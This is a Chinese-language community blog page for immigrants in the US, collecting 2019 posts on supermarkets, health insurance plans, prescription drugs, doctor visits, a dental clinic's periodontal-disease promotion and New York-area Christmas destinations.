4.优惠券：在CVS买东西，基本上都会给赠送一定量的优惠券，并且有些时候这些优惠券当次结账就可以使用。

4.缺德舅Trade Joe’s

食货必逛

Trade Joe’s介绍：

印度的飞饼、咖喱角，精美的日本冰淇淋，英国的柠檬酱，法国的鹅肝起司、马卡龙，还有中国的烧麦、饺子。各种形形色色的零食，食货必去的超市。

Trade Joe’s优势：

“缺德舅”没有会员卡，没有优惠券，没有促销活动，但是运通Blue Cash Preferred信用卡在美国任意超市消费返现6%，所以用此信用卡最合适。

5.Aldi

最便宜的超市

Aldi介绍：

Aldi源自德国，在美国数量并不多，但是真正的“美国最便宜”超市，去Aldi的人大部分是美国“底层”人民。Aldi一般面积只有四五百平方米，蔬菜水果日用品一应俱全。

Aldi的优势：

1.产品是普通牌子，供货商较少，但每种商品进价低廉，所以卖的便宜；

2.Aldi经营的另一个重要特点是，即使廉价销售，也要以人为本。为了兼顾一些老龄消费者和单身家庭的需求，Aldi从不热衷于“搭售”或“批售”等促销活动，诸如买一赠一、袜子论打、啤酒成箱等促销；

3.为了节约成本，不接受信用卡支付；

4.和Costco一样，提供纸盒给顾客免费使用，如需要购物袋，顾客要付费购买。

6.Safeway 塞夫韦

Safeway介绍：

和Walmart属于同一种类型，不过Safeway一般只卖食品和日用品，没有Walmart那样保证最低价，但价格依然是很优惠的，购物体验要好很多。和Walmart比起来，Safeway的地理位置比较方便，很多都开在学校或者住宅区附近，学生下课步行就可购物，是很受学生欢迎的。Safeway是总部位于加州的一家副食类连锁超市。

Safeway优势：

办会员卡免费，会员价优惠不少，不定时查看coupon，结账时候刷一刷。持会员卡在Safeway自家的加油站加油每加仑便宜一些（10c左右）。

Safeway在不同地区有7个旗下不同品牌：不同品牌的会员卡是可以共用的，不用重新办理。如果你下载了Safeway的手机App，时常刷一刷还能找到更为优惠的“Just for You”专属价格！

7个旗下不同品牌：

Carrs-Safeway （阿拉斯加州）

Pak’n Save（加州）

Pavilions （南加州）

Randalls （德州）

Safeway (阿拉斯加州、亚利桑那州、北加州、科罗拉多州、哥伦比亚特区、特拉华、夏威夷、爱达荷州、马里兰州、蒙大拿、内布拉斯加、内华达、新墨西哥、俄勒冈州、南达科他州、弗吉尼亚州、华盛顿、怀俄明州）

Tom Thumb （德州）Vons（南加州和内华达州）

7.Daiso 99美分店

Daiso介绍：

物美价廉，日用小百货，种类齐全，擦碗布、收纳盒、玻璃罐子、碗具、文具、还有美妆…质量不算差劲。

有一些非常亚洲、在美国也不太常见（却淘宝就能买到的）的东西，也可以在Daiso找到。例如，防晒袖套，还是小碎花风格的；小清新风格的餐具，色彩明亮的食品袋密封夹，卡哇伊的汽车遮阳板等等。也有一些亚洲小零食售卖，如烤栗子，抹茶巧克力，烤虾仁等等。Daiso在洛杉矶、湾区、西雅图、圣地亚哥等有众多门店。

Daiso优势：

很多东西价格都是$1－$3，比一般美国超市和IKEA实惠。

8.韩亚龙超市

韩亚龙介绍：

韩亚龙超市是北美势力最强的韩国超市，足迹遍布加州、俄勒冈州、华盛顿州、德州、伊利诺州、密西根州和加拿大卑诗省与多伦多。

韩亚龙优势：

明亮干净且产品种类齐全，除了生鲜蔬果之外，还卖很多泡菜等韩国口味的风土料理与零食干货，也有卖不少华人的货品。

2019-12-24 / 2 Comments / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

2020美国医保最全攻略│如何挑选物美价廉且适合自己的保险计划？

美国/医疗保险计划/医疗保险/保险人群/家庭医疗保险/美国医保攻略/医保指南

美国的医疗保险计划有很多，不同的保险计划给予投保人不同的选择和就医的自由度，同时保险费用也相应不同。金牌资讯网温馨提醒来美的新移民，了解不同医疗保险计划的特点和区别，可以帮助你选择适合的医疗保险。

美国的医疗保险一般都会提供多种计划，常见的选项包括两大类： EPO 和 HMO：只能去「网络内」（In-Network）的医院和诊所。在「网络外」（Out-of-Network）産生的医疗费用，除急救外，他们不报销。 PPO, POS, MSP 和 VHP 等：可以去任何医院和诊所，包括「网络内」和「网络外」；但是建议去「网络内」，报销的比例高、自付比例低。

保险人群

留学生：学校会强制购买保险，但可以申请Waiver, 自行购买。
低收入人群：政府会提供Medicaid (白卡）
65岁以上老人：必须公民/绿卡持有者，可申请联邦政府 Medicare (红蓝卡）
工作的人：公司注册的Group Health Insurance
如果你没有雇主/配偶雇主，学校/政府提供的医疗保险，并且已经26岁以上不能加入父母的保险，就必须自行购买医疗保险。

保险计划

医保计划大体可分为4类：

铜计划铜 (Bronze)：保险负担 60%，自行负担 40%

银计划银 (Silver)：保险负担 70%，自行负担 30%；

黄金计划金 (Gold)：保险负担 80%，自行负担 20%

白金计划白金 (Platinum)：保险负担 90%，自行负担 10%

不同计划自付比例不同，保费越高自付比例越低，参保者可自行选择。

4类保险都包括了十项最基本的医疗服务：

门诊服务
急诊服务
住院治疗（如手术）
产妇和新生儿护理
心理健康和物质使用障碍服务
处方药
康复治疗
实验室检查
预防性体检和慢性病保养
儿科服务

FFS：Fee for Service「按服务收费」

美国传统医疗保险是一种按服务收费的计划。不限制投保人对医院或者医生的选择，投保人可以选择在任何时候，去任何医院诊所就医。但需要先行支付所有的医疗费用，然后凭收据去保险公司按比例报销。FFS计划的灵活性很高，但费用较为昂贵。

Managed Care 「管控型医疗保险」

目前在美国，大多数的私人医疗保险公司都属于管控型医疗保险「Managed Care」。管控型医疗保险公司也对医疗服务提供方（医生医院等）的医疗行为进行控制，防止医生为自身利益滥用医疗服务。管控型的医疗保险有利于降低总体的医疗费用，但也可能影响病人获得医疗服务的时效性。

管控行医疗保险分为以下四类：

1. HMO：Health Maintenance Organization 「健康维护组织」

HMO通常是最常见的计划之一，同时也是最为严苛的计划类型。如果你选购的是HMO计划，那么你将被指派給一个在医疗网络内的Primary Care Physician「家庭医生」。如果是常规检查之外的服务，比如专科门诊，必须通过这位家庭医生引荐給网络内的专科医生就诊。HMO计划的保费通常比其他类型的保险计划低。

2. PPO：Preferred Provider Organization「优选医疗机构」

PPO也是最为常见的保险计划之一，不需要选择特定的家庭医生。所谓“ Preferred” 就是说选择医生的时候最好是网络内与保险公司有合作的医生或者医疗机构，这样可以享受更多的会员优惠折扣，保险公司支付更大部分的医疗费用。当然也可以选择网络外的医疗机构就医，但个人的支付比例就会较高。PPO保险计划给了投保人更多的选择性，但保费通常也会比HMO高。

3. EPO: Exclusive Provider Organization 「指定医疗机构」

EPO保健计划介于PPO和HMO之间，通常要求会员在保险公司指定的网络内机构就医，但一般不需要指定的家庭医生，也可以直接看专科门诊。同时EPO保险计划只报销在其医疗服务网内的医疗费用，不报销在服务网外产生的医疗费用。保费通常比HMO高但比PPO低。

4. POS：Point-of-Service 「定点服务组织」

POS是另外一种介于PPO和HMO之间的计划，POS也有自己的医疗网络，与HMO一样，POS会员会被指派給一个家庭医生。在需要时由这位家庭医生转诊給网络内的专科医生就医，确保较低的医疗费用。POS会员也可以到网络外的专科医生或者医疗机构就医，但投保人需要负担更高的自付额。POS具有HMO较低保费的优势，同时也給会员更多自主就医的选择机会。

HAS：Health Saving Account 「健康储蓄账户」

HAS健康储蓄账户不是一个保险计划，而是一个用于医疗费用开支的免税储蓄账户。如果你选取的保险计划自付额较高，那么就可以开立一个健康储蓄账户，利用这个账户来做免税储蓄，并用账户资金来支付医疗费用。存入HAS账户的资金是100%税收减免的，但每年存入的金额也有限制。

平价医疗法案规定，所有人都需要有医疗保险。如果你符合以下几类人群，在选购医疗保险计划时有一些额外需要考虑的因素：

1. 家庭医疗保险

如果家里有小孩儿，他们去医院甚至看急诊的机会要比成年人大多了。确保所选购保险计划中的Deductible 「免赔额」，Copayment「共担额」和Coinsurance「共付保险」是你能承担的。同时你也需要注意家庭医疗保险计划中，通常会有每个人的免赔额和整个家庭的免赔额。个人免赔额缴完之后，保险计划才会为这位家庭成员分摊医疗费用，而当整个家庭的免赔额缴完之后，医疗保险才会为每个家庭成员（即使当时他的个人免赔额没有用完）分摊医疗开销。

2. 作为学生

如果你的父母家人也在美国且拥有医疗保险，在你26岁之前，你可以仍然保留在父母的医疗保险计划中。但如果你是留学生或者你在外州读书（父母的医疗网络在你就学所在州可能不通用），通过所在学校购买集体医疗保险通常是最简单省事且经济的方法。

3. 自由职业者/个体经营者

雇主通常会有合作的保险公司，可以直接向公司注册团体医疗保险「Group Health Insurance」。那么对于自由职业者或者个体经营者来说，得自己去购买个人医疗保险「Individual Health Insurance」，选购时a) 确保你的保费是收入能够承受范围的，尤其是对于自由职业者来说或是创业起步阶段，每月的收入不固定；b) 健康保险费用是可以抵税的，所以别忘了将这部分费用在每年报税的时候告诉会计师；c) 另外如果你出差比较多，可以优先选择包含网络外医疗机构的计划，比如PPO或POS计划。

4. 低收入户

如果家庭的收入不高或者医疗保险的预算不高，建议你看看自己是否符合获得医疗补助的条件。如果你的收入在联邦政府公布的贫困线100%-400%之间，你就能够申请获得医疗保险的政府补贴。对于低收入家庭来说，医疗保险更为重要，因为任何家庭成员健康问题都可能会成为整个家庭的财务危机。

5. 65岁以上的老人

如果是持有公民/绿卡身份的65岁以上老人，有资格申请联邦医疗保险Medicare「红蓝卡」，同时老人还能购买补充保险或者申请Medicaid「白卡」来负担需要自付的部分。

如何挑选物美价廉且适合自己的保险计划

1 保险费(Premium)

不要贪图便宜，选保险费(Premium)低的

保险费（Premium）。保险费是指你购买健保时，定期要支付给保险公司的费用，一般是每月支付。

保险费与受保人年龄、健康状况等相关。一般受保人年龄越高，保险费越贵。

一定要先了解公司的保险费（Premium）是多少，一般每个保险公司都会给出不同(价位的保险选择来迎合不同的受保人需要。
但保险费（Premium）不是越低越好？保险费越低意味着赔偿支付也越低，并且限制条件会比较多。

2 最高限额（Maximum Payment）保险公司的 Maximum Payment 额高很重要

最高保险支付额(Maximum Payment) 是保险公司愿意为你买单的上限。

不要天真的以为，看什么病，花多少钱，买了医疗保险，保险公司就都会为你买单。

事实上，一般的美国医疗保险都会有一个支付额度的上限。如果你选的保险支付额越低，那么你自己生了大病，要掏腰包的钱就越多。

3 自付额(Deductible)自付额低很重要

一般保险公司要求个人支付500美元到5000美元不等的自付款。也就是你一年要先自付一笔钱之后，保险公司才会开始付。

总之就是当然是自付额越少越好。有些保险甚至没有自付额，但是每月的Premium就会变高，也就是每月固定支付的钱增加。

4 挂号费(Copay)

挂号费高低因人而异

定额手续费（copay）是指受保人每次看普通门诊或购买处方药时需当场支付的一笔固定费用。

例如，每次看医生门诊个人需支付20美元，购买处方药时需支付15美元。

具体的定额手续费金额，看保险合同。一般来说copay从20-50美元都有，也有0的。

如果你是医院的“常客”，建议你选择copay低一点的美国医保，但是这样的医疗保险保险费可能相对较高。
如果你身体很好，又年轻，不怎么进医院，可以选择保险费相对低的，copay高一点也就无所谓了。

怎样购买保险计划？

1）政府的医疗保险市场平台 Health Insurance Marketplace

2）保险经纪 Insurance Agent：好处是保险经纪会评估最适合的保险计划，并可协助办理。

3）找医疗保险公司直接买保险 Health Insurance Company

2019-12-24 / by happy1 / in 医疗健康, 医疗药品, 律师/移民/金融, 求医指南, 移民生活, 美国新闻, 肠胃科/儿科/家庭医生

2020年纽约儿童优惠保健计划最新指南/儿童福利保健计划

儿童福利保健计划对于不符合医疗补助的资格而没有保险或保额不足的家庭的儿童提供零保费或低收费医疗保险。计划福利包括儿科及其他门诊就医，化验室检验，处方药，住院，紧急护理，急救护理，生理健康，牙科，视觉，听力等。本计划由纽约州所赞助，专门提供给未满19岁的儿童，家庭收入或移民身份不拘。

2019-12-24 / by happy1 / in 医疗健康, 医疗药品, 律师/移民/金融, 求医指南, 移民生活, 美国新闻, 肠胃科/儿科/家庭医生

2020纽约老年人健康保险指南/美国老人医疗保险攻略

联邦政府为65岁以上老人设置的健保计划Medicare（俗称红蓝卡），是很多老人都能享受的福利，但是并非每个65岁以上的新移民都有资格申请，只有持绿卡5年以上，并且在美国有10年的纳税记录（即40点积分）才行，纳税记录和社安记录挂钩，政府一查就查到，很多新移民来的老人并不符合。

拿到绿卡5年以后，才可以享受美国政府的福利。在此之前，理论上是由家人照顾他们。5年指的是移民申请时，申请人为父母做的经济担保，保证受益人不会成为美国社会的负担，自然要子女掏钱负责他们的生活。

不过，美国是人道主义国家，没保险他们也得治疗，生命有危险时，公立医院先救人再付账。没有钱的移民，收到很多账单无力解决时，医院的社工会帮助申请紧急医药救助，或者短期紧急补助。

2019-12-24 / by happy1 / in 医疗健康, 律师/移民/金融, 求医指南, 移民生活, 美国新闻

牙周病能治好吗？在纽约专治牙周病的医生有哪些？

精典牙科坐落在纽约法拉盛，是一家综合性的牙科诊所，由牙科专家黄磊医生带领，由各类牙科专科医生共同组成，他们分别是植牙专科、牙齿矫正专科、牙周病专科、根管治疗专科及家庭牙科医生，它是一站式服务的综合性牙科诊所，在纽约可谓首屈一指。在技术上，您可得到最权威的保证；在价格上，一站式服务让您得到的性价比会更高。来到这里，会让您得到全方位各类牙科专科专家的贴心服务，不仅大大了节省了您的时间，使您不必再东找西找，这更能惠及到您的家人和朋友，如果他们有各类牙齿问题，也能像您一样，都能在此得到治疗和服务。

诊所地址：131-07 40 Rd 5层 unit E36 ,Flushing，NY 11354(SkyView Center天景医疗中心内)

诊所电话： 718-888-1817

诊所网址：www.BrightRayDental.com

营业时间： 周二至周六： 9:30am-6:00pm 周一、周日：（休息）

牙周病对于成年人来说越来越普遍，特别是过了35岁的人群，患牙周病的概率更是居高不下。牙周病是让人比较讨厌的一种口腔病，经常会导致口腔产生异味。这是因为黏附在牙齿表面的牙菌膜所引起的，牙菌膜长期积聚在牙龈边缘，牙菌膜里的细菌会分泌毒素，刺激牙齿周围的组织，例如牙龈、牙周膜和牙槽骨等，引致牙周病。

刷牙时，如果发现牙龈红肿或是流血，不要以为是“火气大”而不以为意，有可能是牙周病的前兆。随着牙周病恶化，可能会出现牙龈萎缩、牙缝变大、严重的口臭，甚至是牙齿动摇等等。初期的牙周病，以牙龈发炎或刷牙流血为表现，病情严重时，会造成齿槽骨萎缩，牙齿松动。

牙科专家：黄磊

牙周病就好比地基出了毛病，虽然大厦主体没有问题，但却因土石不断的流失，而致摇摇晃晃，随时有坍塌的可能。这些地基其实就是牙齿周围组织，包括牙龈、齿槽骨、牙垩质及牙周韧带。依据研究显示，中国人罹患牙周病的比例高达70~90%，其中40%需要专业的牙周病专科医师诊治，而国人就医的情况不及5%，所以不可不慎。

Dr Rebecca Goldman

牙周专科医生（Periodontist）Dr Rebecca Goldman以优异的成绩毕业于纽约大学医学院，并入选 Omicron Kappa Upsilon 荣誉协会。Dr Goldman继而在纽约大学牙医学院高级牙周专科完成了为期三年的住院医生，接受了顶级的严格培训如何诊治复杂的牙周疾病，复杂的植骨植牙及全口植牙。Dr. Goldman对牙医事业有高度的热忱，擅长治理复杂的牙周问题，牙周手术、鼻窦提升，全口植牙，美容性手术等高精尖的牙科手术，是美国牙周和植牙协会认证的专科医生。

Dr. Rebecca Goldman hails from Brooklyn, New York. She earned her Bachelor’s degree from her hometown school, Brooklyn College. She crossed the river to attend New York University’s College of Dentistry. There she received her Doctorate of Dental Surgery, graduating in the top 4% of her class, recognized via induction into the Omicron Kappa Upsilon honor society. To further her skills, Dr. Goldman completed a 3-year post-graduate residency in Advanced Periodontics and Dental Implants at New York University’s College of Dentistry. During her residency, she received world-class training in the treatment of complex cases, patients with gum disease, implant placement and full mouth rehabilitation. Dr. Goldman has a true passion for dentistry and is committed to providing exceptional dental care; her top priority is improving the lives of her patients. During her free time, Dr. Goldman enjoys cooking, and spending time with her family and friends. She is a Board-Certified Diplomate of the American Board of Periodontology and Implant Dentistry.

牙周病主要分为两大类

一是牙龈炎：主要的症状局限在牙龈组织，牙龈发红、肿胀、隐隐疼痛和刷牙流血是常见的症状。

二是牙周炎：除了会有上述牙龈炎的症状外，更进而侵犯牙龈下方的齿槽骨和牙周韧带。一旦齿槽骨和牙周韧带都受到破坏分解，当然牙齿就开始松动，咬东西变得酸软无力。牙龈和牙齿之间产生剥离，形成囊袋，吃东西后的细小食物残渣极易掉入囊袋内，被其内孳长的细菌利用发酵而溢出口臭，严重时有时会发生脓肿、发烧等现象。

牙周病的症状

牙周病为慢性疾病，一般临床症状并不明显，除非急性发炎时引起肿痛或经由牙齿定期检查，才被诊断出来，所以平时并不会有明显症状，以致于容易被忽略掉，所以牙周病是牙齿的隐形杀手。

以下牙周病的病症，一定要小心：

● 牙龈红肿发炎、甚至流血；

● 牙齿位移，缝隙变大；

● 牙龈萎缩，牙齿看起来变长；

● 牙菌斑、牙结石堆积；

● 牙龈与牙齿间有剥离的现象；

● 咀嚼时牙齿酸痛或无力。

牙周病不治疗会怎样

牙周病初期不会有明显的征兆，您甚至会常常忽略它所造成的伤害。当这些造成牙周病的细菌大量繁殖，就会开始造成牙龈的疼痛，严重的时候会化脓，产生口臭的现象，再经过几年的时间，牙齿所附着的骨头会流失，牙齿开始摇动、位移，齿缝变大、牙齿看起来变长，最后，牙齿则会一一脱落。

很多人以为人老了就是会掉牙齿，因此把中老年掉牙当作自然现象，但其实这通常是牙周病所造成。倘若口腔保养得宜，年老也可以保有牙齿。

牙周病的治疗

牙周治疗越早开始成效越好！牙周组织如同地基，一但破坏便不可逆，若流失三分，三分就没有了，我们所能做的，只是稳住现有的七分，让它不要继续恶化下去。

因此预防重于治疗，若您越早开始进行牙周病治疗，越能及早保住未被破坏的牙周组织。早期发现，早期治疗，是牙周治疗的金科玉律。

牙周病需要长期抗战，除了牙医师所进行的治疗之外，最需要的是患者持之以恒的配合。

由于牙周治疗有时会造成几日术后不适，加上需多次回诊，有些人便因此放弃了。牙周治疗是否成功，三分医师，七分患者，医师与患者的关系就像队友一样，需携手协力打造高标准的干净口腔环境，减少牙菌斑繁殖增生的可能性。

牙周病基本治疗

首先将牙齿表面牙结石清除，也就像大多数人都做过的“洗牙”。

若感染到牙根时，则需“牙根整平术”，医师会以工具深入到牙龈发炎的底部，将附着于牙根表面的脏东西刮除，让牙根表面恢复干净、以利牙周组织愈合。

此阶段可能会再辅助一些治疗，包括牙龈下冲洗、牙菌斑抑菌凝胶、假牙冠边缘整形、咬合调整、牙周雷射等等。

这阶段的疗程可能要花上二～三个月的时间，以便观察治疗后牙龈改善的状况，再评估需要不要进行牙周手术。

牙周基本治疗可解决轻度到中度的牙周病，且牙根整平术为健保给付的治疗。

大多数的患者经此阶段的治疗后，牙周发炎情况便有明显的改善，倘若您有出现疑似牙周病的症状，建议尽快前往检查治疗。

牙周病会自己好起来吗？

有些人虽然知道自己已罹患牙周病，但因为怕麻烦或疼痛而选择不看牙医，自己在家里努力刷牙、勤用漱口水、甚至采用偏方，希望牙周病可以因此好起来，但其实这些方法不仅无效，更会延误就医。

牙周治疗重点在于清除牙菌斑和牙结石，以便控制齿槽骨破坏和牙龈发炎的情况，让牙齿和牙龈恢复健康。

口腔有许多地方是自己在家清洁不到的，要使牙周病得到有效的控制，必须让牙医师做积极的治疗，牙周病是不会自己好起来的。

金牌牙科医生网建议大家，找一位可靠的华人牙科医生，免去了语言沟通麻烦，患者可将自己的想法尽情告知牙科医生，厘清误区，有助于取得更佳治疗效果。医师也更愿意把患者当朋友，提出各种建议。

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2019-12-23 / by happy1 / in 医疗健康, 口腔科/眼科/耳科, 肠胃科/儿科/家庭医生

缺一颗牙会损害五颗牙齿？怎样补救才是关键？

知道吗？丢失一颗牙可以损害周围的五颗牙齿。有一位23岁的男士因为龋齿拔除了左右两侧的第一磨牙，但并没有装假牙也没有植牙，结果几个月时间，空缺牙齿的两侧牙齿、上方牙齿，和上方两侧的牙齿都发生移位，通过牙齿矫正和植牙两步手术，才把牙列调至正常。

2019-12-23 / by happy1 / in 医疗健康, 肠胃科/儿科/家庭医生

2020新年去哪度假│庆祝圣诞八个好去处│纽约圣诞新年有好去处！

作为美国人最期待的节日，2019年的圣诞节马上来临。圣诞节在西方，相当于中国人过年一样隆重。到处都是圣诞节的节日装饰，张灯结彩，洋溢着一片白色的雪花一样的节日气氛。

那么，如果你恰逢在纽约，你知道如何玩转圣诞节新年吗？如果你家里恰逢有小朋友一族，去哪欢庆圣诞节就成了一个最重要的话题了。

为了帮身在美国的你解决这个一年一度的新话题，金牌资讯网的小编给你收集了最值得出游的8个好地方！圣诞节有好去处了，2020年的新年带你去最想去的地方！

那么，圣诞节出游排在第一位的是什么？

第一名：美国西峡大峽谷

中文服务：1-929-302-9136 1-917-563-1306
电话：+88-8- 868-9378
地址：Grand Canyon Skywalk，Mohave County，AZ，USA(查看地图)
网址：http://dxg.gobustour.com/

大峡谷西缘内提供完善的接驳车服务游览观景，不允许开车进入，园区需购买门票。主要景点包括空中走廊，老鹰岩，蝙蝠岩和华莱派牧场等，尤以空中走廊为特色景点，这也是每位游客造访西缘的必去景点。

第二名：pocono mountains 波科诺山度假村

电话：570-421-5791
传真：570-476-8959
邮箱：pocomts@poconos.org
网址：https://www.poconomountains.com

这里的冬天有着别致的美景。冬季时当地的降雪量多达50英尺，厚厚的一层粉雪覆住了山坡和松林。圣诞节到此一游，领略下雪的美景，可以说这是一个非常有意义的圣诞旅程了。

第三名：Mount Snow 滑雪场

地址：39 Mount Snow Road, West Dover, Vermont 05356
电话（中文）：347-774-1629
中文网址：www.mountsnow.com/Chinese
英文网址：http://www.mountsnow.com/

宽广的四座大山、多达589英亩的滑雪区和87条雪道，自驾只有约四小时，好玩儿的活动非常多，既适合初学者，又可全家老少出游。这是圣诞节全家出游的最好去处！

滑雪之外，可以坐雪上气垫船、坐狗拉雪橇、雪地健行、开雪地摩托等等。玩耍一天后，在温暖的屋内品尝各色佛蒙特州美食，泡泡户外热水池，肌肉的疲劳顿解，圣诞节如此玩，简直太舒服了。

第四名：Magic Forest – Lake George魔法森林

地址：1912 U.S. 9, Lake George, NY 12845
电话：(518) 668-2448
网址：www.magicforestpark.com

魔法森林是位于纽约州乔治湖的儿童乐园。这是幼儿，学龄前儿童，小学生及其家庭的理想游乐园。在阳光灿烂的日子里，这个在森林中的游乐园，有成片的树荫，也有为父母和祖父母休息提供的长椅。在魔幻森林安全、舒适的环境中全家人享受美好快乐的时光。

第五名：Mohonk Mountain House

天湖城堡度假庄园

网址：http://www.mohonk.com/
邮箱：info@mohonk.com
电话：（845）255-1000 /845-765-3286
地址：1000 Mountain Rest Road New Paltz, NY 12561

曼哈顿以北一个半小时车程，四百英亩未开垦保留地环绕的人间仙境。超级景观客房，可将卡茨基尔山、天湖或花园一览无余，美丽的圣诞美景一网打尽；美味可口的三餐；下午茶和甜点；堪称完美的圣诞节与新年的度假活动！

第六名：Woodloch 森林湖度假村

电话：1.800.966.3562
邮箱：room.reservations@woodloch.com
英文网站：https://www.woodloch.com/
中文网站：http://www.woodloch.com/chinese

圣诞节，带着全家老小，远离尘世喧嚣，享受大自然的气息，领略独一无二的圣诞节假日旅程。三十多种游戏，各种美食佳肴，优雅景观套房，让您新年玩得尽兴、吃得丰盛、住得舒适。

第七名：松岭度假牧场 Pine Ridge Dude Ranch

中文服务热线：(646)898-5329
网址：https://pineridgeduderanch.com
地址：30 Cherrytown Rd, Kerhonkson, NY 12446

地处卡茨基尔山（Catskills）的松岭度假牧场，距曼哈顿仅两小时车程，沿途风光旖旎，是你圣诞节策马扬鞭的最佳好去处。无论您是在纽约市附近寻找一个有趣的圣诞节度假还是寻找家人或朋友团聚的完美场所，纽约松岭度假牧场（Pine Ridge Dude Ranch）都能满足您的需求！

第八名：Amtrak火车美国观光列车

火车订票网站: zh.amtrak.com/home
http://brandedsites.epochtimes.com/amtrak/
中文订票热线: (917) 745-3233
英文订票热线:1-800-872-7245

美国国铁 Amtrak火车带你到美国各地旅行，带你游遍美国最好旅游景点。在舒适、自在、安全的火车上，感受圣诞节之乐，体验新的一年美好时光，浏览沿途迷人风景。如果你想拥有独一无二的圣诞节体验，尽享难忘之旅，可以通过手机Amtrak App 或Amtrak.com预订火车票，查询火车状态，获取电子票等。还有，火车票也可以在许多Amtrak车站购买。

2019-12-22 / by happy1 / in 律师/移民/金融, 汽车/房产/保险, 移民生活, 美国新闻

美国买药指南：美国哪里可以买到处方药│在美国哪里买药最便宜？

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在美国，没保险买药超级昂贵吗？

美国看病没有保险贵，买药没有保险更加贵。哪怕你是有保险的，也不见得所有的药都能包括在内。美国有保险买药确实便宜，一般的药只需要每张处方支付5-10美金，剩下的全由保险公司支付。所以每年11月1日到第二年的1月31日这段时间，尽量都申请个人健康保险，这样真有些不舒服，也不会怕看病，怕治疗。

在美国，哪里可以买到处方药？

美国是实行医药分家的国家，医院一般只设住院药房而不设门诊药房，门诊病人必须到药店购药。

买药时，一定要请美国医生为你开处方签，再持处方签去药店购买。没有处方签就不能买处方药。

可以拿A州处方签到B州购买处方药吗？

我可以拿A州医生开的处方签到B州药局购买处方药吗？基本上说应该是可以的，但美国各州法律不同，请以各州规定为准。

可以用中国医生开的处方签在美国买药吗？

很多来美国的新移民，以为可以拿在中国/台湾香港等其医生开的处方签在美国买药，其实是绝对不可以的，只有美国医师开的处方签才可以在美国买处方药。

没有医疗保险也可以拿药吗？

这是完全可以，你和有医疗保险者的拿药差别仅在于你必须支付全额药费。

没有医疗保险，哪里的处方药比较便宜？

很多大型连锁超市的药店都有4$ List generic medication (如Walmart、Target)，可查找自己的药物是否在List上。多利用药品在线比价网站比价，同样药品在不同药局的药价都不同。某些地方的药局会免费提供抗生素药物，如佛州的Publix。各州可能有Discount card program也可善加利用。

家人来美旅游探亲，但带来的药吃完了怎么办？

如果在美期间刚好把带来的药吃完了，那就花现金去挂号看医师，拿到医师开的处方签后，再去药局拿药。

在美国哪里买药最便宜？

同一种药，在Costco拿是最便宜的，但是Costco药房的服务时间有限：周一至五 10:00-7:00，周六：9:30-6:00，周日不开门。而且通常下班前半小时就不再接受处方取药了，收了处方也要等第二天拿药。

所以说，在美国买药，不同超市不同价格，Costco最便宜，CVS最贵。在美国，每个药房的药品种类不同，服务不同，所以价格也不同。所以也不妨在取药前问个价格，这样可以省下不少钱。

在美国买药，也要知道一个常识：药厂官网有折扣券，买药前可查询！

2019-12-21 / 1 Comment / by happy1 / in 医疗健康, 医疗药品, 律师/移民/金融, 心血管科/心脏内科/痛症, 求医指南, 移民生活, 美国新闻

在美国看病就医的最全指南与攻略！

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在美国看病，史上最全的指南攻略

流程一：看病预约，非急症

要提前3——4天，并且准时赴约

在美国看病，有一个不容忽视的问题，就是时间的问题。因为在美国看病，并不存在随时需要随时看病的原则，除非你是属于急诊问题。

在美国，一般都要提前3-4天预约才能去看病。如果你学生，需要看的是校医院，那么一般只需要提前1——2天。如果你是个新病人，请准备好你的姓名，出生日，地址，电话号码和医疗保险。

如果你没有医疗保险，告诉医疗办公室你无医疗保险但将自己支付，并在预约前询问好大约需要多少费用。必要时多问几个医疗办公室。在预约之前，医疗办公室可能寄给你一份新病人需要登记和完成的资料。你必须用英文填写全部资料并交回。

如医疗办公室接收你为新病人，你需要告诉你的医疗保险公司你所选的主要医生的名字。这样保险公司才会付费。

另外要提醒一句，如果你是第一次去看病，还没有填写过任何资料，那么请至少在预约时间的30分钟之前到达。如果当天你因为某些原因不能来，你必须在至少提前一天打电话取消或改约，否则将被罚款。

流程二：报到预检

带好照片的身份证件和医疗保险卡

1.签到。到前台check in登记口签到，告诉接待人员你的名字和你的预约时间。

2.部分付费或全部付费。如果你以前来过并有医疗保险，你将要支付部分费用(co-pay for office visit)；如你没有保险，你将在看医生之前全部支付费用。

3.填写表格。包括保险信息表格和身体状况描述表格。前者只要正确地填写保险公司、保险类型、保险人号码即可（所以医疗保险卡要随时带在身上），后者是具体描述一下身体状况。

4.检查。护士会叫名字，然后带到专门的检查室做病况的检查。在预约时须将病情向医生助理简略叙述。

流程三：诊断治疗

1.假如你是新病人，护士会检查你的身高体重体温血压等，取得你的基础数据。假如需要脱衣服，护士会指导你该怎样准备，穿上罩衣，等候医生。

2.你必须告诉医生你有什么不舒服。你大概有15分钟的时间看医生。医生需要这个时间给你一个诊断和需要的治疗方案，并解答你的疑问。所以建议在来之前请把你的问题写在纸上，以免忘记，使你的病症和问题在有限的时间里得到最好的处理和回答。遇到你不懂的病名和药名，你可以要求医生用通俗的话解释或写下来给你。

3.你服用的药品种类。带一个药品清单，包括一次服几片和多长时间一次。或带来药瓶说明情况。如你服用的是中国药品，你必须带来它的英文名字。

4.带病历。如果你在以前的医生那里有一个检验结果和病历，请把它带来。另外，你需要提供药物过敏名字。

5.如你有多项身体问题，一次选择三个最重要的，并排好优先次序。一般来说，你有三个以上的病情，医生会让你预约另一时间。

流程四：再一次到前台

在你离开之前请再次到前台。查清和确定所有的事宜是否全部做完：比如医生是否要你再来并给你一个新的预约时间；是否需要一个其它的检查或化验的预约；或转到专科医生那里，前台要给你专科医生的电话号码或帮你预约；或你需要支付额外的附加费用，等等。

注意了：医疗费用可以讨价还价

1.你一定要主动开口问，一般来说，如果病人到医院的财政处亲自讨价的话，通常来说就能拿到个七折。

2.在治疗的过程中，你可以建议医生选择低价方式。

3.如果你要找人调整账单时，可以找医疗办公室负责人。

4.选择现金结账可以拿到较好的折扣。

5.仔细查账单、保险单，要像侦探一样，对保险单和医疗账单上面的每一条都清清楚楚。如果有疑问，要主动给医院和保险公司打电话，问清楚每一个问题，并做记录，不要账单上叫你付多少，你就付多少。

《金牌资讯网》建议来美的留学生、新移民

选择合适的医院

一般情况下，保险公司会指定些医院，你可以在这些医院就诊。除此之外，你如果需要在美国纽约、旧金山、华盛顿、洛杉矶等地看病，你可以从《金牌资讯网》北美寻医找到需要的诊所信息，这里有精选的家庭医生与体检中心。

《金牌资讯网》温馨提示：买医疗保险很重要

